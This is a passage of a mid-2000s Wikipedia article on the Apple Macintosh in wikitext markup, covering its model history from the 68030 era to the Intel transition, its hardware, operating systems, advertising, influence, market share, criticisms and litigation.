With the new [[Motorola 68030]] processor came the [[Macintosh IIx]] in 1988, which had benefited from internal improvements, including an on-board [[memory management unit|MMU]]. It was followed in 1989 by a more compact version with fewer slots (the [[Macintosh IIcx]]) and a version of the Mac SE powered by the 16MHz 68030 (the [[Macintosh SE/30]]). Later that year, the [[Macintosh IIci]], running at 25MHz, was the first Mac to be &quot;[[Mac OS memory management#32-bit clean|32-bit clean]]&quot;, allowing it to natively support more than 8MB of RAM, unlike its predecessors, which had &quot;32-bit dirty&quot; ROMs. [[System 7 (Macintosh)|System 7]] was the first Macintosh operating system to support 32-bit addressing. Apple also introduced the [[Macintosh Portable]], a 16MHz 68000 machine with an active matrix [[Active-matrix liquid crystal display|flat panel display]]. The following year the 40MHz [[Macintosh IIfx]], costing $13,000, was unveiled. Apart from its fast processor, it had significant internal architectural improvements, including faster memory and a pair of dedicated [[Input/output|I/O]] (input/output) coprocessors.

=== 1990–98: Growth and decline ===
[[Image:Macintosh classic.jpg|thumb|250px|The [[Macintosh Classic]], Apple’s early 1990s budget model.]]
[[Windows 3.0|Microsoft Windows 3.0]], widely seen as the first version of Windows to challenge the Mac in both performance and feature set, was released in May 1990 and was a usable, less expensive alternative to the Macintosh platform. Apple’s response was to introduce a range of relatively inexpensive Macs in October 1990. The [[Macintosh Classic]], essentially a less expensive version of the Macintosh SE, sold for $999, making it the least expensive Mac until the re-release (and subsequent price cut) of the 400MHz iMac in February 2001. The 68020-powered [[Macintosh LC]], in its distinctive &quot;pizza box&quot; case, was available for $1800; it offered color graphics and was accompanied by a new, low-cost 512 × 384-pixel monitor. The [[Macintosh IIsi]], essentially a 20MHz IIci with only one expansion slot, cost $2500. All three machines sold well, although Apple’s profit margin was considerably lower than on earlier machines.

1991 saw the much-anticipated release of System 7, a 32-bit rewrite of the [[Mac OS|Macintosh operating system]] that improved its handling of color graphics, memory addressing, networking, and [[computer multitasking|multitasking]], and introduced [[virtual memory]]. Later that year, Apple introduced the [[Macintosh Quadra]] 700 and 900, the first Macs to employ the faster [[Motorola 68040]] processor. They were joined by improved versions of the previous year’s hits, the [[Macintosh Classic II]] and [[Macintosh LC II]]. The latter was upgraded to use a 16MHz 68030 CPU.

[[Image:Powerbook150.jpg|thumb|200px|right|The [[PowerBook]] 150, the smallest of the second generation of PowerBooks.]]
At the same time, the first three models in Apple's enduring [[PowerBook]] range were introduced&amp;mdash;the PowerBook 100, a miniaturized Macintosh Portable built by [[Sony]]; the 16MHz 68030 PowerBook 140; and the 25MHz 68030 PowerBook 170. They were the first portable computers with the keyboard behind a palm rest, and with a built-in pointing device (a [[trackball]]) in front of the keyboard.

In 1992, Apple started to sell a low-end Mac, the [[Macintosh Performa|Performa]], through nontraditional dealers. At Apple dealers, a mid-range version of the Quadra series called the [[Macintosh Centris]] was offered, only to be quickly renamed Quadra when buyers became confused by the range of Classics, LCs, IIs, Quadras, Performas, and Centrises. As well as releasing several new Macintosh products, Apple unveiled the miniaturized [[PowerBook Duo]] range. This was intended to be docked to a base station for desktop-like functionality in the workplace. The PowerBook Duo was dropped from the Apple product line in early 1997.

The next evolutionary step in Macintosh CPUs was a switch to the [[Reduced instruction set computer|RISC]] [[PowerPC]] architecture developed by the [[AIM alliance]] of Apple Computer, IBM, and Motorola. Since its introduction, the [[Power Macintosh]] line proved to be highly successful, with over a million units sold by late 1994, three months ahead of Apple’s one-year goal. In the same year, Apple released the second-generation PowerBook models, the [[PowerBook 500]] series, which introduced the novel [[trackpad]].

By 1995, Microsoft and Intel were rapidly eroding Apple’s market share with their respective [[Windows 95]] operating system and [[Pentium]] processors, both of which significantly enhanced the multimedia capability and performance of the PC. In response, Apple started the [[Macintosh clone]] program to regain its foothold in the desktop computer market. This program lasted until August 1997, when Steve Jobs returned to Apple and pulled the plug on the whole operation, reasoning that Apple was in the clone market simply to make reparations, when they should instead focus on the future.

=== 1999 to the present: New beginnings ===
[[Image:Steve Jobs with iMac.jpg|thumb|200px|left|Steve Jobs introducing the original iMac computer in 1998.]]
In 1998, a year after Steve Jobs had returned to the company, Apple introduced an all-in-one Macintosh that was similar to the original Macintosh 128K: the [[iMac]], a new design that did away with most Apple standard connections, such as SCSI and ADB, in favor of two [[Universal Serial Bus]] (USB) ports. It featured an innovative new design; its translucent plastic case, originally [[Bondi blue]] and [[white]], and later many other colors, is considered an industrial design hallmark of the late 1990s. The iMac proved to be phenomenally successful, with 800,000 units sold in 1998, making the company an annual profit of $309 million &amp;mdash; Apple’s first profitable year since [[Michael Spindler]] took over as CEO in 1995. At MacWorld 2000, San Francisco, Steve Jobs bragged that they had sold over 1.35 million iMacs the previous quarter; one every six seconds. The Power Macintosh was redesigned along similar lines.

In 1999, Apple introduced a new operating system, [[Mac OS X Server 1.0]] (codenamed Rhapsody), with a new GUI and powerful Unix underpinnings. Its NeXT-like GUI left many Mac users disappointed, and wondering what the next generation of the Mac OS GUI would look like. Mac OS X was based on [[OPENSTEP]], the operating system developed by Steve Jobs’ post-Apple company NeXT. Mac OS X was not released to the public until September 2000, as the [[Mac OS X Public Beta]], with an Aqua interface, much different from Mac OS Server. It cost $29.99 and allowed adventurous Mac users to sample Apple's new operating system and provide feedback to the company on what they wanted to see in the actual release.

[[Image:MacBook.jpg|thumb|250px|The [[MacBook Pro]] is the first portable Macintosh to use Intel chips intended to be marketed to consumers. Shipping is scheduled to commence in February 2006.]]

In mid-1999, Apple introduced the [[iBook]], a new consumer-level, portable Macintosh that was designed to be similar in appearance to the iMac that had been introduced a year earlier. Six weeks after the iBook’s unveiling, more than 140,000 orders had been placed, and by October the computer was as much a sales hit as the iMac. Apple continued to add new products to their lineup, such as the [[eMac]] and [[Power Mac G4]], as well make two major upgrades of the iMac. On [[January 11]], [[2005]], Apple announced the release of the Mac mini priced at $499, the least expensive Mac to date.

In recent years, Apple has seen a significant boost in sales of Macs. Many claim that this is due, in part, to the success of the iPod. The term [[halo effect]] has been coined to indicate the effect of satisfied iPod owners, who purchase more Apple merchandise, on the overall sales made by Apple. The iPod [[digital audio player]]s have recaptured a brand awareness of the Macintosh line that had not been seen since its original release in 1984. From 2001 to 2005, Macintosh sales increased continuously on an annual basis. On [[October 11]], [[2005]], Apple released its fourth quarter results, reporting shipment of 1,236,000 Macintoshes&amp;mdash; a 48% increase from the same quarter the previous year&lt;ref&gt;[http://www.apple.com/pr/library/2005/oct/11results.html Apple Reports Fourth Quarter Results], retrieved [[November 9]], [[2005]]&lt;/ref&gt;. Starting with the introduction of the iMac Core Duo and the [[MacBook Pro]] on [[January 10]], [[2006]], Apple will gradually [[Apple Intel transition|switch]] from PowerPC microprocessors to microprocessors manufactured by Intel&lt;ref&gt;[http://www.apple.com/pr/library/2005/jun/06intel.html Apple to Use Intel Microprocessors Beginning in 2006], retrieved [[December 7]], [[2005]]&lt;/ref&gt;. The transition of the rest of the Macintosh line is planned to be completed by the end of the year&lt;ref&gt;[[Ars Technica]]'s [http://arstechnica.com/news.ars/post/20060110-5938.html transcript] of Steve Jobs' keynote at the [[Macworld Conference and Expo]] 2006&lt;/ref&gt;. It is possible that sales will temporarily decline as consumers wait to purchase future Macintosh products.

{{Timeline of Macintosh models}}

== Hardware ==
The current Macintosh product family uses many hardware components; among these are PowerPC processors, which were co-developed by Apple, [[IBM]], and Motorola, and are currently produced by IBM and [[Freescale Semiconductor|Freescale]], a former division of Motorola. As of January 2006, Intel [[x86]] processors are in Macs as well. All Macintosh models ship with at least 512MB RAM as standard, and as of [[October 12]], [[2005]], the [[iMac|iMac G5]] ships with the Apple Mighty Mouse, a touch-sensitive optical mouse with a miniature clickable trackball-like device that is produced by Apple. Current Macintosh computers use the [[ATI Radeon]] or [[GeForce|nVidia GeForce]] series chips for graphics and include either a [[Combo Drive]], a DVD player and CD burner all in one; or the [[SuperDrive]], a dual-function DVD and CD burner. Macintoshes include two standard data transfer ports: [[Universal Serial Bus|USB]], standardized in 1998 with the iMac; and [[FireWire]], a less popular standard developed by Apple to support higher-performance devices.

=== Processor architecture ===
The original Macintosh used a [[Motorola 68000]], a 16/32-bit (32-bit internal) [[Complex instruction set computer|CISC]] processor that ran at 8MHz. The Macintosh Portable and PowerBook 100 both used a 16MHz version of this processor. The Macintosh II featured a full 32-bit [[Motorola 68020]] processor, but the Macs at the time supported only 24-bit memory addressing, therefore using only a fraction of the chip's memory addressing capabilities. Macs with this limitation were referred to as not being &quot;32-bit clean&quot;. The successor Macintosh IIx introduced the [[Motorola 68030]] processor, which added a [[Memory Management Unit]]. The 68030 did not have a built-in [[floating point unit]]; thus, '030-based Macintoshes incorporated a separate unit&amp;mdash;either the [[Motorola 68881|68881]] or [[Motorola 68882|68882]]. Lower-cost models did without, although they incorporated an FPU socket, should the user decide to add one as an option. The first &quot;32-bit clean&quot; Macintosh that could use 32-bit memory addressing was the IIci. Later, Apple released the Macintosh IIfx, which not only contained a 40MHz 68030, but two [[MOS Technology 6502]] processors (the primary CPU in the older Apple II line) as auxiliary controllers. In 1991 Apple released the first computers containing the [[Motorola 68040]] processor, which contained the floating point unit in the main processor. Again, lower-cost models did not have FPUs, being based on the cut-down [[Freescale 68LC040|Motorola 68LC040]] instead.

Since 1994 Apple has been using the PowerPC line of processors, starting with the [[PowerPC 601]], which were later upgraded to the [[PowerPC 603|603]] and [[PowerPC 604|604]]. In 1997, Apple introduced its first computer based on the significantly upgraded [[PowerPC G3]] processor; this was followed in 1999 with the [[PowerPC G4]]. The latest generation of processor in use is the 64-bit [[PowerPC 970|PowerPC G5]], introduced in 2003. During the transition to the PowerPC, Apple's &quot;Cognac&quot; team wrote a 68030-to-PowerPC [[Mac 68k emulator|emulator]] that booted very early in OS loading.  Initially the emulation speed wasn't stellar; emulation is hardly ever speedy. Later versions used a [[dynamic recompilation]] emulator which boosted performance by caching frequently used sections of translated code. The first version of the OS to ship with the earliest PowerPC systems was estimated to run 95% emulated. Later versions of the operating system increased the percentage of PowerPC native code until OS X brought it to 100% native.

On [[June 6]], [[2005]], Apple CEO Steve Jobs announced that the company would begin transitioning the Macintosh line from PowerPC to Intel microprocessors, expected to be completed by the end of 2006, and demonstrated a version of Mac OS X running on a computer powered by an Intel [[Pentium 4]] CPU. Intel-powered Macs will be able to run Macintosh software compiled for PowerPC processors using a [[binary translation|dynamic translation]] system known as [[Rosetta (software)|Rosetta]]. The reason for this switch concerns problems with the power consumption of the IBM G5 processors, coupled with IBM's inability to deliver on the promised roadmap. The first Macintoshes with Intel processors were the iMac Core Duo and the MacBook Pro, both announced at the [[Macworld Conference &amp; Expo|Macworld Conference and Expo]] in January 2006 and using the [[Intel Core|Core Duo]] processor.

=== Expandability and connectivity ===
[[Image:Type A USB connector.jpg|thumb|200px|left|A typical [[Universal Serial Bus]] (&quot;USB&quot;) Type A cable; the USB has become standard on modern Macintosh computers.]]

The earliest form of Macintosh expandability was the [[Processor Direct Slot]] (PDS), present from the SE onwards. It was basically a shortcut to the [[CPU socket]], not a bus&amp;mdash;which also meant that parts for the PDS slot were tied to a specific Macintosh model, with the notable exception of the LC PDS slot, which was standardized across the entire LC line. The PDS slot could be used for processor upgrades, the [[Apple IIe Card]], or video cards. The last line of Macintoshes to have PDS slots was the first generation of the PowerMacs. The first Macintosh to feature a bus for expansion was the Macintosh II, in the form of six [[NuBus]] (parallel 32-bit bus) slots. The NuBus was abandoned in favor of [[Peripheral Component Interconnect|PCI]] in the second-generation Power Macs, and the G4 added an [[Accelerated Graphics Port|AGP]] slot for video cards. The latest G5s use [[PCI Express]] for graphics and expansion. For memory, Apple has used standard [[SIMM]]s (30 and 72-pin) and later [[DIMM]]s, with the notable exception of the Macintosh IIfx, which used special and very rare 64-pin SIMMs. Currently, the top-of-the-line G5 PowerMacs use 240-pin [[DDR2 SDRAM]] DIMMs.

The earliest Macintoshes used a special proprietary serial port for external floppy or hard drives, until SCSI was introduced with the Macintosh Plus. SCSI remained the Macintosh drive connection of choice until the PowerMac G3, when less expensive [[Advanced Technology Attachment|ATA]] drives became standard. Current PowerMacs use [[Serial ATA|SATA]] for internal hard drives, ATA for internal optical drives and FireWire (or USB) for external drives. For peripherals, the Apple Desktop Bus was introduced with the Macintosh II. It was the standard input connector until the Universal Serial Bus was introduced with the iMac. The last Macintosh to have ADB was the blue and white PowerMac G3 though the PCI-based G4 (the Yikes! board) had the circuitry for it. Other legacy Macintosh peripheral connectors include the serial [[GeoPort]] and the [[Apple Attachment Unit Interface|AAUI]] port for networking. For external video signals, Apple used a [[D-subminiature|DB-15]] connector on all models prior to the blue and white G3, which uses a [[VGA connector]]; the VGA was in turn dropped in favor of the [[Apple Display Connector]] in the PowerMac G4. On the most recent Macintoshes, Apple has used a standard or dual-link [[Digital Visual Interface|DVI]] connector.

== Software ==
=== Operating system ===
{{main|Mac OS history}}
[[Image:Apple Macintosh Desktop.png|thumb|250px|The original 1984 [[Mac OS]] desktop with the radically new [[graphical user interface]].]]
[[Image:System7screenshot.gif|thumb|250px|[[System 7 (Macintosh)|System 7]] was the first major upgrade of the Macintosh operating system. Note that the display is in 8-bit color.]]
[[Image:MacOSX10.4.png|thumb|250px|The [[Mac OS X v10.4]] &quot;Tiger&quot; desktop. Although the interface has undergone many changes, some aspects remain, such as the [[menu bar]] at the top of the screen.]]

The Macintosh operating system was originally known as the ''System Software'' or more simply ''System''. With the release of System 7.6, the official name became Mac OS. From 2001, the &quot;classic&quot; Mac OS was phased out in favor of the new BSD Unix-based Mac OS X. Apple had offered another UNIX system, [[A/UX]], for its Macintosh servers earlier, but without much success. The Mac OS operating system is widely considered one of the main selling points of the Macintosh platform, and Apple heavily touts its releases with large special events and release-day events. Apple has generally chosen to stick with some loose user-interface elements in all of its releases, and many similarities can be seen between the legacy Mac OS 9 and the modern Mac OS X. Non-Apple operating systems for today’s Macintoshes include Linux and free BSD variants.

Mac OS was the first widely used operating system with a graphical interface. No versions of the &quot;classic&quot; Mac OS featured a [[command line interface]]. It was originally a single-tasking OS, but optional [[co-operative multitasking]] was introduced in System 5. The next major upgrade was [[System 7 (Macintosh)|System 7]] in 1991, which featured a new full-color design, built-in multitasking, [[AppleScript]], and more user configuration options. Mac OS continued to evolve up to version 9.2.2, but its dated architecture&amp;mdash;such as using cooperative multitasking instead of the more modern [[Computer multitasking|preemptive multitasking]]&amp;mdash;made a replacement necessary.

In March 2001, Apple introduced Mac OS X, a modern and more secure Unix-based successor, using [[Darwin (operating system)|Darwin]], [[XNU]] and [[Mach kernel|Mach]] as foundations. Mac OS X is directly derived from NeXTSTEP, the operating system developed by Steve Jobs' company NeXT before Apple bought it. Older Mac OS programs can still run under Mac OS X in a special [[virtual machine]] called Classic, but this is only possible on Macintoshes using PowerPC processors, not on Macintoshes using Intel processors. A program similar to Classic called &quot;Rosetta&quot; will allow PowerPC programs to run on Intel machines. Even though Mac OS X was never certified as a UNIX implementation by [[The Open Group]], it is now the most common Unix-based desktop operating system. Mac OS X is currently at version 10.4 (released on [[April 29]] [[2005]]), code-named ''Tiger''. The next version, [[Mac OS X v10.5]], code-named ''Leopard'', is scheduled to be released at the end of 2006.

=== Software history ===
Since its introduction, the Mac has been criticized for the lack of software available for its operating system. In 1984 it was apparent that a wider range of software was available for the [[IBM PC]], because it used the most popular operating system of the time, [[MS-DOS]]. Apple struggled to encourage software developers to port software titles to the Macintosh; however, [[Bill Gates]] at Microsoft realized that the [[Graphical user interface|GUI]] would become an industry standard, and that his software would sell in large quantity if it were available for the Macintosh. In 1984 [[Microsoft Word]] and [[Multiplan|Microsoft MultiPlan]] were available, and were a large selling point for the Mac. However, it lacked other business software and games. In 1985, [[Lotus Software]] introduced [[Lotus Jazz]] after the success of [[Lotus 1-2-3]] for the IBM PC, although it was largely a flop.

In 1987, Apple spun off its software business as [[Claris]]. It was given the code and rights to several programs that had been written within Apple, notably MacWrite, MacPaint and [[MacProject]]. In the late 1980s, Claris released a number of revamped software titles; the result was the &quot;Pro&quot; series, including MacPaint Pro, MacDraw Pro, MacWrite Pro and FileMaker Pro. To provide a complete office suite, Claris purchased the rights to the [[Informix Wingz]] [[spreadsheet]] on the Mac, renaming it [[Claris Resolve]], and added the new presentation program [[Claris Impact]]. By the early 1990s, Claris programs were shipping with the majority of consumer-level Macintoshes and were extremely popular. In 1991, Claris released [[AppleWorks|ClarisWorks]], which soon became their second best-selling program. When Claris was later folded back into Apple, ClarisWorks was renamed AppleWorks beginning with version 5.0.

Today, all Macs come prepackaged with a suite of consumer-level applications.  In 1999, a digital video editing application, [[iMovie]], was released for use on the [[iMac|iMac DV]]. Next came [[iTunes]], a digital jukebox designed to work with Apple’s iPod digital music player, and on [[January 7]], [[2002]], Apple released [[iPhoto]], an easy-to-use digital photo organizer. In 2004, Apple began to market these applications, along with [[iDVD]] and [[GarageBand]], as a $49 suite called &quot;iLife.&quot; It is intended to make the Mac versatile out of the box by providing several high-value consumer media applications. The most popular tool in the suite is iTunes, now in a Windows version as well, and has spawned the most popular online music store, the [[iTunes Music Store]]. In January 2006, iLife '06 was released; [[iWeb]], a new website creation application, was added to the suite and the price was increased to $79.

== Advertising ==
[[Image:MacIntroBrochurePage1.jpg|thumb|250px|Page 1 of the 1984 &quot;Macintosh Introduction&quot; brochure published in ''[[Newsweek]]'' magazine.]]Ever since the introduction of the Macintosh in 1984 with the [[1984 (television commercial)|1984 commercial]], Apple has been recognized for its efforts towards effective advertising and marketing for the Macintosh. A &quot;Macintosh Introduction&quot; 20-page brochure was included with various magazines in December 1983, often remembered because Bill Gates was featured on page 15.&lt;ref&gt;[http://www.digibarn.com/collections/ads/apple-mac/index.htm DigiBarn Ads: Original Apple Macintosh 18 Page Brochure (Dec 1983)], retrieved [[November 26]], [[2005]]&lt;/ref&gt; For a special post-election edition of ''[[Newsweek]]'' in November 1984, Apple spent more than US $2.5 million to buy all of the advertising pages in the issue (a total of 39).&lt;ref&gt;[http://www.guidebookgallery.org/ads/magazines/macos/macos10-newsweek GUIdebook: Macintosh ads], retrieved [[November 26]], [[2005]] and http://www.macmothership.com/gallery/gallerytextindex.html, retrieved [[December 9]] [[2005]]&lt;/ref&gt; Apple also ran a &quot;Test Drive a Macintosh&quot; promotion that year, in which potential buyers with a credit card could trial a Macintosh for 24 hours and return it to a dealer afterwards. It began to look like a success with 200,000 participants, and ''Advertising Age'' magazine named this one of the 10 best promotions of 1984. However, dealers disliked the promotion and supply of computers was insufficient for demand, and many computers were returned in such a bad shape that they could no longer be sold. 

In 1985 the &quot;Lemmings&quot; commercial aired at the [[Super Bowl]]; Apple went as far as to create a newspaper advertisement stating &quot;If you go to the bathroom during the fourth quarter, you'll be sorry.&quot; It was a large failure and did not capture nearly as much attention as the 1984 commercial did. Many more brochures for new models like the Macintosh Plus and the Performa followed. In the 1990s Apple started the &quot;What's on your PowerBook?&quot; campaign, with print ads and television commercials featuring persons describing how the PowerBook helps them in their businesses and everyday lives. These included [[Frances Lear]], [[Tama Janowitz]], [[Michael O'Brien]], [[Todd Rundgren]], [[Art Monk]], [[Martina Navrátilová]], [[Brian Durkin]], and [[Henry Rollins]]. In 1995 Apple responded to the introduction of Windows 95 with both several print ads and a television commercial demonstrating its disadvantages and lack of innovation. In 1997 the [[Think Different]] campaign introduced Apple's new slogan, and in 2002 the [[Apple Switch ad campaign|Switch campaign]] followed.

Today, Apple focuses much of its advertising efforts around heavily hyped &quot;special events,&quot; and [[Stevenote|keynotes]] at conferences like the [[Apple Expo]] and the [[Macworld Conference &amp; Expo|MacWorld Expo]]. The events typically draw a large gathering of media representatives and spectators. In the past, special events have been used to unveil the [[Power Mac G5]], the redesigned iMac, and many other Macintosh products.

== Effects on the technology industry ==
Apple has introduced a number of innovations in direct relation to the [[Macintosh 128K]] that were later adopted by the rest of industry as a standard for the design of computers. Possibly Apple's number-one effect on the industry was the first large-scale use of a graphical user interface in operating system software. Today, almost every mainstream operating system relies on a graphical user interface, and many operating systems still echo the design of the original Macintosh graphical user interface, such as the use of the &quot;double click,&quot; &quot;drag and drop,&quot; and the mouse used for them. The Macintosh 128K also introduced software which allowed [[WYSIWYG]] (what you see is what you get) text and graphics editing, alongside significant technical improvements such as long file names permitting [[Whitespace (computer science)|whitespace]] and not requiring a [[file extension]], [[floppy disk|3.5&quot; floppy disk drives]] as a standard component, 8-bit mono [[Sound|audio]] including built-in speakers, and an output jack as a standard feature.

The Macintosh platform has introduced many innovations and ideas that had significant effects on the computer industry, especially in the area of communications standards. One of the first was the Macintosh Plus, which successfully introduced the SCSI interface in 1986. The Macintosh IIsi and the Macintosh LC introduced standard audio in and out ports in 1990&amp;mdash;today these ports are standard on the large majority of computers. Beginning with the iMac in 1998, Apple made the Universal Serial Bus standard and introduced FireWire, a high-speed data transfer bus now popular in media-editing computers and almost all digital video cameras. Apple also innovated in the area of networking, with heavy marketing and early implementation of the existing wireless networking standard [[IEEE 802.11]]b ([[AirPort]]) in the Macintosh portable lines in 1999. Additionally, the Macintosh platform introduced many of the storage devices that are now standard: In 1992, the [[Macintosh IIvx]] was the first computer to feature the [[CD-ROM]] drive as a standard feature. The iMac, debuting in 1998, was one of the first computers to have no floppy disk drive; today, almost no new computers come with one. Finally, the [[Power Macintosh G4]] with its ''SuperDrive'' introduced the first relatively affordable [[DVD-R]] drive in 2001.

Apple has also contributed heavily to the field of mobile computing, and many features of their mobile computers have become the norm. The PowerBook 100, 140, and 170 set the ergonomic standard for the placement of the keyboard in 1991 by moving the keyboard behind a palm rest, rather than right at the bottom of the laptop. In 1991 the PowerBook 100 series featured the first built-in pointing device on a laptop: a trackball. The [[PowerBook Duo]] also introduced the idea of a dock/port replicator in 1992. One of the most important features ever added to the Macintosh PowerBook lineup was the first true [[touchpad]] as a pointing device on the PowerBook 500 in 1994; today, most laptops rely on it as their pointing device. More recently, the [[PowerBook G4]] became the first full-size laptop computer to feature a widescreen display, in 2003 it became the first laptop computer with a 17-inch display, and in 2004 it became the first laptop computer to provide dual-link DVI.

There is much speculation as to why so many Macintosh features have been adopted by competitors. And although they have a history of including some of the best technology available to the consumer market, Macs- and their components- are often much more expensive than Windows PCs; as such, one could argue that Macintoshes brought what was to become standard earlier at a higher cost, and it is certainly true that it costs far more to develop something than to copy it &amp;mdash; both in terms of actual resources, and &quot;man-hours.&quot; Another view is that competitors were forced to copy the Macintosh for reasons of competition and business, and whether such innovations were superior is irrelevant. Mac advocates argue that their products are simply better.

== Market share and demographics ==
Since the introduction of the Macintosh 128K in 1984, Apple has struggled to gain a significant share of the personal computer market. At first, the Macintosh lacked software, resulting in disappointing sales in 1985, when consumers realized that more software was available for the IBM PC. By 1985, only 500,000 Macs had been sold. Jobs had originally predicted that five million units would be sold within two years; sales eventually crossed the two million mark in 1988, and three years later, the installed base finally reached five million. By 1997, there were more than 20 million Mac users.&lt;ref&gt;[http://developer.apple.com/adcnews/pastissues/devnews121997.html#stats Apple Developer News December 19, 1997, No. 87]&lt;/ref&gt; By late 2003, Apple had 2.06% of the desktop share in the United States, which had increased to 2.88% by Q4 2004.&lt;ref&gt;[[Jim Dalrymple]], [[Macworld]] ([[March 20]], 2005): [http://www.macworld.com/news/2005/03/20/marketshare/index.php ''Apple desktop market share on the rise; will the Mac mini, iPod help?'']&lt;/ref&gt;

The actual [[installed base]] of Macintosh computers is extremely hard to determine, with numbers ranging from a conservative 3%&lt;ref&gt;[http://www.pegasus3d.com/osshare.html pegasus3d.com: Analysis of Google's zeitgeist reports]&lt;/ref&gt; to an optimistic 16%.&lt;ref&gt;[[Slashdot]] (June 2005): [http://apple.slashdot.org/apple/05/06/05/0548225.shtml?tid=3 ''Mac Install-Base Shown to Be 16%'']&lt;/ref&gt;

Market research indicates that Apple draws its customer base from an unusually artistic, creative, and well-educated population, which may explain the platform's visibility within certain youthful, avant-garde subcultures.&lt;ref&gt;http://news.com.com/2100-1040-943519.html&lt;/ref&gt; Furthermore, [[conventional wisdom]] holds that the platform appeals especially to the politically [[liberal]]-minded; even Steve Jobs speculates that &quot;maybe a little less&quot; than half of Apple's customers are [[Republican Party (United States)|Republican]]s, &quot;maybe more Dell than ours.&quot;  This particular stereotype is reinforced, surely, by the company's pattern of political donations, by [[Al Gore]]’s membership on its board, and not least by Jobs’ personal history.  Nevertheless, well-known Mac users include the likes of conservative talk radio host [[Rush Limbaugh]], an outspoken [[Apple evangelist]], and even current U.S. President [[George W. Bush]].

== Advantages, disadvantages and criticisms ==
The Macintosh differs in several ways from personal computers that run Microsoft Windows. Both the hardware and bundled software, including the operating system, are manufactured by Apple Computer, whereas Microsoft supplies their software to [[original equipment manufacturer]]s, including [[Dell, Inc.|Dell]], [[Hewlett-Packard|HP]] and IBM, who make the hardware using a wider range of components. This results in a limited range of Mac models compared with a huge variety of Windows-based PCs; however, it reduces conflicts between software and hardware and has helped Apple's reputation for stability and reliability. The Unix-based operating system performs multi-user networking as standard. This less common operating system means that a much smaller range of third-party software is available, although suitable applications, such as [[Microsoft Office]], are available in most areas. The design of the Macintosh operating system, as well as the vigilance of users,&lt;ref&gt;[[John Gruber]], [[Daring Fireball]] ([[June 4]], 2004): [http://daringfireball.net/2004/06/broken_windows ''Broken Windows'']&lt;/ref&gt; has contributed to the near-absence of the types of [[malware]] and [[spyware]] that plague Microsoft Windows users.

Apple has a history of innovation and making bold changes that is met by strong uptake of software upgrades. The Classic application allows users to run &quot;old&quot; (Mac OS 9) applications on OS X computers, often as well as they ran natively on Mac OS 9, though without the advantages of a native OS X application. The Apple Intel transition starting in 2006 will not support ''Classic'' on new Intel Macs, and purchasers of these computers who are still using Classic applications will have to replace or upgrade this software. The transition will involve the recompilation of most OS X software to maximize performance; in the interim, unmodified OS X applications can run on the Intel chip under the emulation software &quot;Rosetta&quot;.

For much of the Mac's history, up until the introduction of the [[Peripheral Component Interconnect|PCI]] Power Macs, Macintosh hardware was notoriously closed. Connectors were proprietary, requiring specialized peripherals or adapter cables, and the hardware architecture was so closely tied to the Mac OS that it was impossible to boot an alternative operating system; the most common workaround, used even by Apple for its [[A/UX]] Unix implementation, was to boot into Mac OS and then to hand over control to a program that took over the system and acted as a [[Booting|boot loader]]. Current implementations for older hardware of operating systems such as [[Linux]] and [[NetBSD]] do the same thing, though they use their own programs instead of Apple's. This technique is not necessary on [[Open Firmware|OpenFirmware]]-based PCI Macs, though it was formerly used for convenience on many [[Old World ROM]] systems due to bugs in the firmware implementation. (An alternate technique, used by Tenon's [[MachTen]] and the Mac port of [[Minix]], was to run the alternate OS as a process within the Mac OS.) Modern Mac hardware boots directly from OpenFirmware or [[Extensible Firmware Interface|EFI]], and is not limited to the Mac OS.

Apple's choice of a hybrid [[microkernel]] architecture for Mac OS X has been unpopular in some quarters due to performance inefficiencies inherent in the microkernel design paradigm. Apple attempted to reduce the impact of microkernel overhead by moving userspace subsystems into the kernel space along with the microkernel, but a vocal minority of Mac developers feel that Apple should move to a monolithic kernel similar to Linux to eliminate microkernel overhead entirely.

== Litigation ==
{{main|Notable litigation of Apple Computer}}
There have been many lawsuits centered around the Macintosh. These generally involve [[copyright infringement]] of the computer's [[look and feel]] and [[trademark]]s. While many suits have been successful, Apple lost its [[Apple Computer, Inc. v. Microsoft Corp.|major case]] against the Microsoft Windows interface.

''[[Pirates of Silicon Valley]]'', a film adaptation of the litigation, closely follows actual events. It is a semi-humorous documentary about the men who made the world of technology what it is today, their struggles during college, the founding of their companies, and the actions they took to build up the global corporate empires of Apple and Microsoft. It stars [[Anthony Michael Hall]] as [[Bill Gates]] and [[Noah Wyle]] as Steve Jobs.

== See also ==
{{wikibooks|Mac OS X Tiger}}
{{commons|Apple Macintosh}}
* The current Macintosh models:
:* [[iMac#iMac (Intel Core Duo)|iMac]] (Intel Core Duo)
:* [[Mac mini]] (Intel Core Solo and Core Duo)
:* [[eMac]] (G4; education-only)
:* [[iBook|iBook G4]]
:* [[PowerBook G4]]
:* [[MacBook Pro]] (Intel Core Duo)
:* [[Power Mac G5]]
:* [[Xserve|Xserve G5]]
* [[A/UX]]
* [[List of Macintosh models grouped by CPU]]
* [[List of Macintosh software]]
* [[Mac rumors community]]
* [[Macintosh User Groups]]
* [[.Mac]]
* ''[[Pirates of Silicon Valley]]''—A film based on the rise of Apple and Microsoft.
* [[OSx86]]

== Further reading ==
* {{cite book | author=Hertzfeld, Andy | authorlink=Andy Hertzfeld | year=2004 | title=Revolution in the Valley | publisher=[[O'Reilly|O'Reilly Books]] | id=ISBN 0-596-007191}}
* {{cite book | author=Kahney, Leander | year=2004 | title=The Cult of Mac | publisher=[[No Starch Press]] | id=ISBN 1-886-411832}}
* {{cite book | author=Kawasaki, Guy | authorlink=Guy Kawasaki | year=1989 | title=The Macintosh Way | publisher=Scott Foresman Trade | id=ISBN 0-673-461750}}
* {{cite book | author=Kelby, Scott | year=2002 | title=Macintosh... The Naked Truth | publisher=New Riders Press | id=ISBN 0-735-712840}}
* {{cite book | author=Levy, Steven | year=2000 | title=Insanely Great: The Life and Times of Macintosh, the Computer That Changed Everything | publisher=[[Penguin Books]] | id=ISBN 0-140-291776}}
* {{cite book | author=Linzmayer, Owen | authorlink=Owen W. Linzmayer | year=2004 | title=Apple Confidential 2.0 | publisher=[[No Starch Press]] | id=ISBN 1-593-270100}}
* {{cite book | author=Kahney, Leander | year=2005 | title=The Cult of iPod | publisher=[[No Starch Press]] | id=ISBN 1-593-270666}}
* {{cite book | author= Deutschman, Alan | year=2001 | title=The Second Coming of Steve Jobs | publisher=Broadway | id=ISBN 0-767-904338}}
* {{cite book | author=Linzmayer, Owen | authorlink=Owen W. Linzmayer | year=1994 | title=The Mac Bathroom Reader | publisher=Sybex | id=ISBN 0-782-115314}}
* {{cite book | author=Apple Computer &amp; [[Jef Raskin|Raskin, Jef]] | year=1992 | title=Macintosh Human Interface Guidelines | publisher=Addison-Wesley Professional | id=ISBN 0-201-622165}}

== Notes ==
&lt;references /&gt;

